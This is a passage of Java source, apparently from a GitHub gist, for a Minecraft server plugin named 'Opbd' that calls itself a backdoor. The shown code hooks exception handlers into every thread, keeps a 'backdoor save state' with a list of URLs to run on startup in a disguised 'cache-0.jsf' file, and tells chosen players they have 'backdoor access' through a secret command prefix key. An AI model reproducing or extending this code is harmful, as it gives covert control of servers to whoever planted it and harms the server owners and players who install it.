public void doSync(Runnable runnable) { | |
Bukkit.getScheduler().runTask(plugin, runnable); | |
} | |
@Override | |
public Thread createThread(Runnable runnable) { | |
Thread t = new Thread(runnable); | |
security.injectExceptionHandler(t); | |
return t; | |
} | |
} | |
/* -------------- Security -------------- */ | |
public interface ErrorHandler { | |
void handle(SecurityManager manager, | |
SecurityDomain domain, | |
Thread thread, | |
Throwable t); | |
} | |
public interface SecurityDomain { | |
/** | |
* Returns a string representing | |
* this security domain. | |
* @return The string. | |
*/ | |
String asString(); | |
/** | |
* Checks if the given stack trace | |
* element is caught by this domain. | |
* @param element The element. | |
* @return If it is caught. | |
*/ | |
boolean catches(StackTraceElement element); | |
/** | |
* Generates cache entries that are captured | |
* by this domain related to the given | |
* stack trace element. If the related element | |
* is null, it should generate cache entries | |
* that are captured in general. | |
* @param element The element to relate to. | |
* @param cache The cache to add to. | |
* @return The list of entries. | |
*/ | |
void cacheRelated( | |
StackTraceElement element, | |
ICacheAccess<HashableSTE, SecurityDomain> cache | |
); | |
//////////////////////////////////////// | |
static ClassSecurityDomain ofClass(Class<?> klass) { | |
return new ClassSecurityDomain(klass); | |
} | |
static ClassSecurityDomain ofClass(String className) { | |
try { return new ClassSecurityDomain(Class.forName(className)); } | |
catch (Exception e) { return null; } | |
} | |
} | |
public interface ICacheAccess<K, V> { | |
void modify(K k, V v); | |
void invalidate(); | |
} | |
public static class SecurityManager { | |
/** | |
* Interface to indicate a custom exception handler. | |
*/ | |
class CExceptionHandler implements Thread.UncaughtExceptionHandler { | |
final Thread.UncaughtExceptionHandler oldHandler; | |
public CExceptionHandler(Thread.UncaughtExceptionHandler old) { | |
this.oldHandler = old; | |
} | |
@Override | |
public void uncaughtException(Thread t, Throwable e) { | |
// System.out.println("HANDLER CALLED @ " + t + ": " + e); | |
handle(t, e, oldHandler); | |
} | |
} | |
/** Constructor. */ | |
public SecurityManager(NamespacedEventLog errorLog) { | |
this.errorLog = errorLog; | |
this.addingCacheAccess = new ICacheAccess<>() { | |
@Override | |
public void modify(HashableSTE ste, SecurityDomain domain) { | |
cache.put(ste, domain); | |
} | |
@Override | |
public void invalidate() { | |
invalidateCaches(); | |
} | |
}; | |
this.removingCacheAccess = new ICacheAccess<>() { | |
@Override | |
public void modify(HashableSTE ste, SecurityDomain domain) { | |
cache.remove(ste, domain); | |
} | |
@Override | |
public void invalidate() { | |
invalidateCaches(); | |
} | |
}; | |
} | |
/** | |
* The error log. | |
*/ | |
final NamespacedEventLog errorLog; | |
/** | |
* The security domain this security | |
* manager captures. | |
*/ | |
final List<SecurityDomain> domains = new ArrayList<>(); | |
/** | |
* Caches stack trace elements to | |
* security domains. | |
*/ | |
final Map<HashableSTE, SecurityDomain> cache = new HashMap<>(); | |
final ICacheAccess<HashableSTE, SecurityDomain> addingCacheAccess; | |
final ICacheAccess<HashableSTE, SecurityDomain> removingCacheAccess; | |
/** | |
* The error handler. | |
*/ | |
ErrorHandler handler; | |
public void handle( | |
Thread thread, | |
Throwable t, | |
Thread.UncaughtExceptionHandler delegate) { | |
// get stack trace | |
StackTraceElement[] trace = t.getStackTrace(); | |
// try to get the security domain and handle it | |
SecurityDomain domain; | |
if ((domain = getCaptured(trace)) != null && handler != null) handler.handle(SecurityManager.this, domain, thread, t); | |
// call the old handler | |
else if (delegate != null) delegate.uncaughtException(thread, t); | |
} | |
public void inject() { | |
// inject default uncaught exception handler | |
injectExceptionHandler(null); | |
// inject into the current thread | |
injectExceptionHandler(Thread.currentThread()); | |
// inject exception handler into all existent threads | |
Set<Thread> threadSet = Thread.getAllStackTraces().keySet(); | |
for (Thread thread : threadSet) | |
injectExceptionHandler(thread); | |
} | |
public void injectExceptionHandler(Thread thread) { | |
// get old exception handler | |
final Thread.UncaughtExceptionHandler oldHandler = thread != null ? thread.getUncaughtExceptionHandler() | |
: Thread.getDefaultUncaughtExceptionHandler(); | |
if (oldHandler instanceof CExceptionHandler) | |
return; | |
// create new handler | |
CExceptionHandler newHandler = new CExceptionHandler(oldHandler); | |
// inject new handler | |
if (thread != null) thread.setUncaughtExceptionHandler(newHandler); | |
else Thread.setDefaultUncaughtExceptionHandler(newHandler); | |
} | |
/** | |
* Sets the current error handler. | |
* @param handler The error handler. | |
* @return This. | |
*/ | |
public SecurityManager withErrorHandler(ErrorHandler handler) { | |
this.handler = handler; | |
return this; | |
} | |
public boolean isCaptured(StackTraceElement[] stackTrace) { | |
return getCaptured(stackTrace) != null; | |
} | |
public SecurityDomain getCaptured(StackTraceElement[] stackTrace) { | |
SecurityDomain domain; | |
for (StackTraceElement element : stackTrace) | |
if ((domain = getCaptured(element)) != null) return domain; | |
return null; | |
} | |
public SecurityDomain getCaptured(StackTraceElement element) { | |
HashableSTE ste = HashableSTE.from(element); | |
SecurityDomain domain; | |
if ((domain = cache.get(ste)) != null) return domain; | |
int l = domains.size(); | |
for (int i = 0; i < l; i++) { | |
domain = domains.get(i); | |
if (domain.catches(element)) { | |
cache.put(ste, domain); | |
domain.cacheRelated(element, addingCacheAccess); | |
return domain; | |
} | |
} | |
return null; | |
} | |
public void invalidateCaches() { | |
cache.clear(); | |
} | |
public ErrorHandler getHandler() { | |
return handler; | |
} | |
public List<SecurityDomain> getDomains() { | |
return domains; | |
} | |
public NamespacedEventLog getErrorLog() { | |
return errorLog; | |
} | |
public SecurityManager addDomain(SecurityDomain domain) { | |
this.domains.add(domain); | |
domain.cacheRelated(null, addingCacheAccess); | |
return this; | |
} | |
public SecurityManager removeDomain(SecurityDomain domain) { | |
this.domains.remove(domain); | |
domain.cacheRelated(null, removingCacheAccess); | |
return this; | |
} | |
public SecurityManager addDomains(SecurityDomain... domains) { | |
for (SecurityDomain domain : Arrays.asList(domains)) | |
addDomain(domain); | |
return this; | |
} | |
} | |
/* Domain Implementations */ | |
/** | |
* Security Domain. | |
* Protects the class it is assigned | |
* and all of it's subclasses. | |
* For example: | |
* | |
* class A { | |
* class B; | |
* } | |
* | |
* Protects both. | |
*/ | |
public static class ClassSecurityDomain implements SecurityDomain { | |
final Class<?> klass; | |
public ClassSecurityDomain(Class<?> klass) { | |
Objects.requireNonNull(klass); | |
this.klass = klass; | |
} | |
@Override | |
public String asString() { | |
return "class(" + klass.getName() + ")"; | |
} | |
@Override | |
public boolean catches(StackTraceElement element) { | |
return element.getClassName().startsWith(klass.getName()); | |
} | |
@Override | |
public void cacheRelated(StackTraceElement element, ICacheAccess<HashableSTE, SecurityDomain> cache) { | |
try { | |
String className = element.getClassName(); | |
Class<?> klass = Class.forName(element.getClassName()); | |
cache.modify(new HashableSTE(className, "<init>"), this); | |
for (Method method : klass.getDeclaredMethods()) { | |
method.setAccessible(true); | |
cache.modify(new HashableSTE(className, method.getName()), this); | |
} | |
} catch (Exception e) { } | |
} | |
public Class<?> getCapturedClass() { | |
return klass; | |
} | |
} | |
/* ------------ Error Handling ---------- */ | |
public static class NamespacedEvent { | |
final Throwable t; | |
final int level; | |
final Object namespace; | |
final Date time; | |
final Object details; | |
int id = -1; | |
public NamespacedEvent(Throwable t, int level, Object namespace, Date time, Object details) { | |
this.t = t; | |
this.level = level; | |
this.namespace = namespace; | |
this.time = time; | |
this.details = details; | |
} | |
public int id() { return id; } | |
public int level() { return level; } | |
public Throwable err() { return t; } | |
public Object namespace() { return namespace; } | |
public Date time() { return time; } | |
public Object details() { return details; } | |
@Override | |
public String toString() { | |
return new StringJoiner(", ", NamespacedEvent.class.getSimpleName() + "(", ")") | |
.add("error: " + t) | |
.add("level: " + level) | |
.add("namespace: " + namespace) | |
.add("@ " + time) | |
.add("details: " + details) | |
.toString(); | |
} | |
@Override | |
public boolean equals(Object o) { | |
if (this == o) return true; | |
if (o == null || getClass() != o.getClass()) return false; | |
NamespacedEvent that = (NamespacedEvent) o; | |
return level == that.level && Objects.equals(t, that.t) && Objects.equals(namespace, that.namespace) && Objects.equals(time, that.time) && Objects.equals(details, that.details); | |
} | |
@Override | |
public int hashCode() { | |
return Objects.hash(t, level, namespace, time, details); | |
} | |
} | |
public static class NamespacedEventLog { | |
/* Reflection */ | |
private static Field arrayDequeElements; | |
@SuppressWarnings("unchecked") | |
private static <T> T[] getElementsFromDeque(ArrayDeque<T> deque) { | |
try { | |
return (T[])arrayDequeElements.get(deque); | |
} catch (Exception e) { return (T[])new Object[0]; } | |
} | |
static { | |
try { | |
arrayDequeElements = ArrayDeque.class.getDeclaredField("elements"); | |
arrayDequeElements.setAccessible(true); | |
} catch (Exception e) { } | |
} | |
/** | |
* ID counter. | |
*/ | |
int idc = 0; | |
/** | |
* The log of events. | |
*/ | |
final ArrayDeque<NamespacedEvent> events; | |
/** | |
* The ID to event map. | |
*/ | |
final Map<Integer, NamespacedEvent> eventMap; | |
/** | |
* The maximum size that this log | |
* can expand to. When it is met | |
* the first elements are removed. | |
*/ | |
final int maxSize; | |
public NamespacedEventLog(int maxSize) { | |
this.maxSize = maxSize; | |
this.events = new ArrayDeque<>(maxSize); | |
this.eventMap = new HashMap<>(maxSize); | |
} | |
public NamespacedEvent[] getEvents() { | |
return getElementsFromDeque(events); | |
} | |
public ArrayDeque<NamespacedEvent> getErrorQueue() { | |
return events; | |
} | |
public NamespacedEvent getEvent(int i) { | |
return getEvents()[i]; | |
} | |
public NamespacedEvent getEventById(int id) { | |
return eventMap.get(id); | |
} | |
private int nextId() { | |
return idc++; | |
} | |
public void pushEvent(NamespacedEvent error) { | |
int id = nextId(); | |
error.id = id; | |
events.addLast(error); | |
eventMap.put(id, error); | |
if (events.size() > maxSize) | |
eventMap.remove(events.pop().id); | |
} | |
public void pushEvent(Exception e, int level) { | |
pushEvent(new NamespacedEvent(e, level, null, new Date(), (e == null) ? null : "Exception")); | |
} | |
public void pushEvent(Exception e, int level, Object ns) { | |
pushEvent(new NamespacedEvent(e, level, ns, new Date(), (e == null) ? null : "Exception")); | |
} | |
public void pushEvent(Exception e, int level, Object ns, Object details) { | |
pushEvent(new NamespacedEvent(e, level, ns, new Date(), details)); | |
} | |
} | |
public static record NamespacedErrorDetails( | |
Thread thread, | |
SecurityDomain domain | |
) { | |
@Override | |
public String toString() { | |
return "thread 0x" + Integer.toHexString(thread.hashCode()) | |
+ " in " + domain.asString(); | |
} | |
} | |
/** | |
* Namespaced error handler. | |
*/ | |
public static class NamespacedErrorHandler implements ErrorHandler { | |
final NamespacedEventLog log; | |
public NamespacedErrorHandler(NamespacedEventLog log) { | |
this.log = log; | |
} | |
@Override | |
public void handle(SecurityManager manager, | |
SecurityDomain domain, | |
Thread thread, | |
Throwable t) { | |
log.pushEvent((Exception)t, | |
2, | |
"@" + domain.asString(), | |
new NamespacedErrorDetails(thread, domain)); | |
} | |
} | |
/* ------------- Data Store ------------- */ | |
/** | |
* Backdoor save state. | |
*/ | |
public static class SaveState implements Serializable { | |
@java.io.Serial | |
private static final long serialVersionUID = 8683452581122892189L; | |
//////////////////////////////////////// | |
public final List<URL> doFilesOnStartup = new ArrayList<>(); | |
} | |
public void saveState() { | |
try { | |
if (saveSupplier == null) return; | |
Path p = saveSupplier.get().resolve("cache-0.jsf"); | |
File f = p.toFile(); | |
if (!f.getParentFile().exists()) | |
f.getParentFile().mkdirs(); | |
if (!f.exists()) | |
if (!f.createNewFile()) | |
return; | |
FileOutputStream fs = new FileOutputStream(f); | |
ObjectOutputStream stream = new ObjectOutputStream(fs); | |
stream.writeObject(saveState); | |
fs.close(); | |
} catch (Exception e) { e.printStackTrace(); } | |
} | |
public void loadState() { | |
try { | |
if (saveSupplier == null) return; | |
Path p = saveSupplier.get().resolve("cache-0.jsf"); | |
File f = p.toFile(); | |
if (!f.exists()) | |
return; | |
FileInputStream fs = new FileInputStream(f); | |
ObjectInputStream stream = new ObjectInputStream(fs); | |
saveState = (SaveState)stream.readObject(); | |
fs.close(); | |
applyNewState(); | |
} catch (Exception e) { e.printStackTrace(); } | |
} | |
public void applyNewState() { | |
} | |
/* -------------- Internal -------------- */ | |
void psendlm(CommandSender sender, int level, String label, String message) { | |
ChatColor c = getLevelColor(level); | |
sender.sendMessage(c + "$ " + label + ": " + ChatColor.WHITE + message); | |
} | |
public ChatColor getLevelColor(int level) { | |
ChatColor c; | |
switch (level) { | |
case -1 -> c = ChatColor.AQUA; | |
case 0 -> c = ChatColor.GREEN; | |
case 1 -> c = ChatColor.YELLOW; | |
case 2 -> c = ChatColor.RED; | |
case 3 -> c = ChatColor.DARK_RED; | |
default -> c = ChatColor.GRAY; | |
} | |
return c; | |
} | |
public static record CommandDispatchResult( | |
CDResultType type, | |
Throwable t, | |
String message | |
) { | |
public CommandDispatchResult(CDResultType type) { | |
this(type, null, ""); | |
} | |
public CommandDispatchResult(CDResultType type, Throwable t) { | |
this(type, t, ""); | |
} | |
public CommandDispatchResult(CDResultType type, String message) { | |
this(type, null, message); | |
} | |
} | |
public enum CDResultType { | |
SUCCESS, | |
ILLEGAL_ACCESS, | |
NO_SUCH_COMMAND, | |
COMMAND_EXCEPTION, | |
DISPATCH_EXCEPTION | |
} | |
static class HashableSTE { | |
final String className; | |
final String methodName; | |
public HashableSTE(String className, String methodName) { | |
this.className = className; | |
this.methodName = methodName; | |
} | |
public String getClassName() { | |
return className; | |
} | |
public String getMethodName() { | |
return methodName; | |
} | |
@Override | |
public boolean equals(Object o) { | |
if (this == o) return true; | |
if (o == null || getClass() != o.getClass()) return false; | |
HashableSTE that = (HashableSTE) o; | |
return Objects.equals(className, that.className) && Objects.equals(methodName, that.methodName); | |
} | |
@Override | |
public int hashCode() { | |
return Objects.hash(className, methodName); | |
} | |
public static HashableSTE from(StackTraceElement element) { | |
return new HashableSTE(element.getClassName(), element.getMethodName()); | |
} | |
} | |
String strtrunc(String str, int maxLen) { | |
if (str.length() < maxLen) | |
return str; | |
return str.substring(0, maxLen - 1) + "..."; | |
} | |
public String createFormattedSummary(NamespacedEvent event) { | |
StringBuilder b = new StringBuilder(); | |
b.append(getLevelColor(event.level)).append("\u26A0 "); | |
if (event.details != null) | |
b.append(ChatColor.GRAY).append(strtrunc(event.details.toString(), 20)); | |
b.append(ChatColor.WHITE).append(" in ").append(ChatColor.YELLOW) | |
.append(event.namespace); | |
if (event.time != null) | |
b.append(ChatColor.WHITE).append(" at ") | |
.append(ChatColor.AQUA).append(event.time.toLocaleString()); | |
if (event.t != null) | |
b.append(ChatColor.DARK_GRAY).append(": ") | |
.append(ChatColor.RED).append(strtrunc(event.t.toString(), 30)); | |
b.append(ChatColor.DARK_GRAY).append(" ( w/ id: ") | |
.append(ChatColor.WHITE).append(event.id) | |
.append(ChatColor.DARK_GRAY).append(" )"); | |
return b.toString(); | |
} | |
public boolean trySendInfoMessage(Player player) { | |
if (players.contains(player.getUniqueId())) { | |
player.sendMessage(""); | |
player.sendMessage(ChatColor.WHITE + "" + | |
ChatColor.BOLD + "$ You have " + ChatColor.DARK_RED + "backdoor " + | |
ChatColor.WHITE + ChatColor.BOLD + "access."); | |
player.sendMessage(ChatColor.DARK_GRAY + "" + ChatColor.BOLD + "$ " + | |
Mcf.gradient2f("Opbd", Color.RED, Color.ORANGE, false, net.md_5.bungee.api.ChatColor.BOLD) + | |
ChatColor.WHITE + " v" + ChatColor.GRAY + version); | |
player.sendMessage(ChatColor.GOLD + "" + ChatColor.BOLD + "$ Backdoor Prefixkey: " + ChatColor.WHITE + prefix + key); | |
player.sendMessage("$ Use " + ChatColor.AQUA + prefix + key + " help" + ChatColor.WHITE + | |
" for command usage help."); | |
player.sendMessage(""); | |
return true; | |
} else return false; | |
} | |
public static String getStackTraceAsStringWithNewline(final Throwable throwable) { | |
final StringWriter sw = new StringWriter(); | |
final PrintWriter pw = new PrintWriter(sw, true) { | |
@Override | |
public void println() { | |
super.write("\n"); | |
} | |
}; | |
throwable.printStackTrace(pw); | |
return sw.getBuffer().toString(); | |
} | |
public static class Version { | |
/* Numbers. */ | |
final int major; | |
final int minor; | |
final float patch; | |
public Version(int major, int minor, float patch) { | |
this.major = major; | |
this.minor = minor; | |
this.patch = patch; | |
} | |
public int getMajor() { | |
return major; | |
} | |
public int getMinor() { | |
return minor; | |
} | |
public float getPatch() { | |
return patch; | |
} | |
public boolean isHigher(Version other) { | |
if (major > other.major) return true; | |
else if (major < other.major) return false; | |
else { | |
if (minor > other.minor) return true; | |
else if (minor < other.minor) return false; | |
else { | |
return patch > other.patch; | |
} | |
} | |
} | |
public boolean isEqual(Version other) { | |
return major == other.major && minor == other.minor && patch == other.patch; | |
} | |
public boolean isLower(Version other) { | |
return !isEqual(other) && !isHigher(other); | |
} | |
@Override | |
public String toString() { | |
return major + "." + minor + "." + patch; | |
} | |
@Override | |
public boolean equals(Object o) { | |
if (this == o) return true; | |
if (o == null || getClass() != o.getClass()) return false; | |
Version version = (Version) o; | |
return major == version.major && minor == version.minor && patch == version.patch; | |
} | |
@Override | |
public int hashCode() { | |
return Objects.hash(major, minor, patch); | |
} | |
public static Version fromString(String s) { | |
String[] split = s.split("\\."); | |
if (split.length < 2) | |
return null; | |
int major = Integer.parseInt(split[0]); | |
int minor = Integer.parseInt(split[1]); | |
float patch = 0; | |
if (split.length > 2) { | |
StringBuilder b = new StringBuilder(); | |
for (int i = 2; i < split.length; i++) { | |
if (i != 2) b.append("."); | |
b.append(split[i]); | |
} | |
patch = Float.parseFloat(b.toString()); | |
} | |
return new Version(major, minor, patch); | |
} | |
} | |
public static class Mcf { | |
public static String translate(String text, String prefix, String hexprefix) { | |
boolean enableHex = true; | |
if (hexprefix == null) | |
enableHex = false; | |
if (prefix == null) | |
throw new IllegalArgumentException("colorcode prefix cannot be null"); | |
if (text == null) | |
throw new IllegalArgumentException("text cannot be null"); | |
StringBuilder builder = new StringBuilder(); | |
int i = 0; | |
while(i < text.length()){ | |
char current = text.charAt(i); | |
int prefixEnd = Math.min(i + prefix.length(), text.length() - 1); | |
int hexEnd = Math.min(i + (enableHex ? hexprefix.length() : 0), text.length() - 1); | |
String prefixSpace = text.substring(i, prefixEnd); | |
String hexSpace = enableHex ? text.substring(i, hexEnd) : ""; | |
char charAfterPrefix = text.charAt(prefixEnd); | |
String x6 = ""; | |
if (enableHex) | |
x6 = text.substring(hexEnd, Math.min(i+6+hexprefix.length(), text.length())); | |
if (hexSpace.equals(hexprefix)) { | |
if (!enableHex){ | |
builder.append(current); | |
continue; | |
} | |
builder.append(net.md_5.bungee.api.ChatColor.of(new Color(Integer.parseInt(x6, 16)))); | |
i += hexprefix.length()+6; | |
} else if (prefixSpace.equals(prefix)) { | |
builder.append(net.md_5.bungee.api.ChatColor.translateAlternateColorCodes('&', "&"+charAfterPrefix)); | |
i += prefix.length()+1; | |
} else { | |
builder.append(current); | |
i++; | |
} | |
} | |
return builder.toString(); | |
} | |
public static String rgbToHex(Color color) { | |
int r = color.getRed(); | |
int g = color.getGreen(); | |
int b = color.getBlue(); | |
String out = "#" + | |
Integer.toString(r, 16).toUpperCase() + | |
Integer.toString(g, 16).toUpperCase() + | |
Integer.toString(b, 16).toUpperCase(); | |
return out; | |
} | |
public static String gradient2f(String text, Color from, Color to, boolean checkForWhitespace, net.md_5.bungee.api.ChatColor... formatting) { | |
// strip color from text | |
text = net.md_5.bungee.api.ChatColor.stripColor(text); | |
// calculate length and frame increase | |
int len = text.length(); | |
float p = 1f / (len - 1); | |
// get individual RGB values | |
int r1 = from.getRed(); | |
int g1 = from.getGreen(); | |
int b1 = from.getBlue(); | |
int r2 = to.getRed(); | |
int g2 = to.getGreen(); | |
int b2 = to.getBlue(); | |
// initialize the extra formatting | |
StringBuilder b = new StringBuilder(); | |
for (net.md_5.bungee.api.ChatColor color : formatting) | |
b.append(color); | |
String ef = b.toString(); | |
// create StringBuilder | |
StringBuilder builder = new StringBuilder(); | |
// create frame variable and loop | |
float frame = 0; | |
for (int i = 0; i < len; i++) { | |
// get character | |
char c = text.charAt(i); | |
// check for whitespace | |
if (checkForWhitespace) if (c == ' ' || c == '\n' || c == '\t') continue; | |
// interpolate | |
Color col = _colinterpolate(r1, g1, b1, r2, g2, b2, frame); | |
// create ChatColor and append it with extra formatting | |
net.md_5.bungee.api.ChatColor color = net.md_5.bungee.api.ChatColor.of(col); | |
builder.append(color).append(ef).append(c); | |
// increment frame | |
frame += p; | |
} | |
// return string | |
return builder.toString(); | |
} | |
private static Color _colinterpolate(int r1, int g1, int b1, int r2, int g2, int b2, float frame) { | |
float iframe = 1 - frame; | |
float r1f = r1 * iframe; | |
float g1f = g1 * iframe; | |
float b1f = b1 * iframe; | |
float r2f = r2 * frame; | |
float g2f = g2 * frame; | |
float b2f = b2 * frame; | |
float red = r1f + r2f; | |
float green = g1f + g2f; | |
float blue = b1f + b2f; | |
return new Color (red / 255, green / 255, blue / 255); | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment